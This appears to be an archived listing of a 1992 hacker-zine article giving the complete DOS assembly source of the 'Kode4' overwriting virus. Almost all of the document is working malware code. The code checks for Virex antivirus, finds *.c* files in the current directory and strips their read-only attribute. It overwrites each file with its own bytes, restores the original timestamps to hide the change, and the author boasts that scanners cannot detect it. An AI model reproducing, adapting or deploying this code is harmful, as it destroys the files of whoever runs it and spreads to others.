home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / ASM-K.ZIP / KODE4.ASM < prev    next >
Assembly Source File  |  1992-12-23  |  4KB  |  101 lines

  1. ─────────═════════>>> Article From Evolution #2 - YAM '92
  2.  
  3. Article Title: Kode 4 v1 Virus
  4. Author: Soltan Griss
  5.  
  6.  
  7. ;######################################################################
  8. ;#  Name:  Kode4 version 1.0 (overwritting stage)
  9. ;#  Author:  Soltan Griss  [YAM]
  10. ;#
  11. ;#  Description: What this sucker does is very simple. it overwrites
  12. ;#               the first 46 bytes of all com files in the current
  13. ;#               directory, with it's own code... as of scanv93, this
  14. ;#               virus is undetectable..
  15. ;#
  16. ;#
  17. ;#  Special Thanks go out to Data Disruptor.. If it were not for you i
  18. ;#          would still be fucking lost!!!!
  19. ;#
  20. ;######################################################################
  21.  
  22. seg_a           segment byte public
  23.                 assume  cs:seg_a, ds:seg_a
  24.  
  25.  
  26.                 org     100h
  27. V_Length        equ     last-start
  28. KODE4           proc    far       
  29.  
  30. start           label   near            ;Check for Virex installiation
  31.           
  32.                 mov     ax,0ff0fh
  33.                 int     21h
  34.                 cmp     ax,0101h        ;Abort if Virex Protection
  35.                 je      done            ; present
  36.  
  37.  
  38.                 mov     ah,4Eh             ;Find first Com file
  39.                 mov     dx,offset filename ;use "*.com"     
  40.                 int     21h                
  41.                                     
  42. Back:                                       
  43.                 mov     ah,43h              ;get rid of read only
  44.                 mov     al,0
  45.                 mov     dx,9eh
  46.                 int     21h
  47.                 mov     ah,43h
  48.                 mov     al,01
  49.                 and     cx,11111110b
  50.                 int     21h
  51.           
  52.                 mov     ax,3D01h           ;Open file for writing
  53.                 mov     dx,9Eh             ;get file name from file DTA
  54.                 int     21h                  
  55.                                         
  56.                 mov     bx,ax               ;save handle in bx
  57.                 mov     ah,57h              ;get time date
  58.                 mov     al,0
  59.                 int     21h
  60.                 
  61.                 push    cx                  ;put in stack for later
  62.                 push    dx
  63.  
  64.  
  65.                 mov     dx,100h            ;Start writing at 100h
  66.                 mov     cl,v_length        ;write 46 bytes
  67.                 mov     ah,40h             ;Write Data into the file
  68.                 int     21h                   
  69.                                               
  70.                                               
  71.                 pop     dx                 ;Restore old dates and times 
  72.                 pop     cx
  73.                 mov     ah,57h
  74.                 mov     al,01h
  75.                 int     21h
  76.  
  77.  
  78.  
  79.                 mov     ah,3Eh             ;Close the file
  80.                 int     21h                   
  81.                                                
  82.                 mov     ah,4Fh             ;Find Next file
  83.                 int     21h                    
  84.                                                 
  85.                 jnc     Back                 
  86.                 mov     ah,9h
  87.                 mov     dx,offset DATA
  88.                 int     21h
  89.  
  90. done:           int     20h                ;Terminate Program
  91. filename        db      "*.c*",0                     
  92. DATA            db      " -=+ Kode4 +=-, The one and ONLY!$"
  93.  
  94.  
  95. kode4           endp
  96. LAST            label near
  97. seg_a           ends
  98.                 end     start
  99.  
  100.  
  101.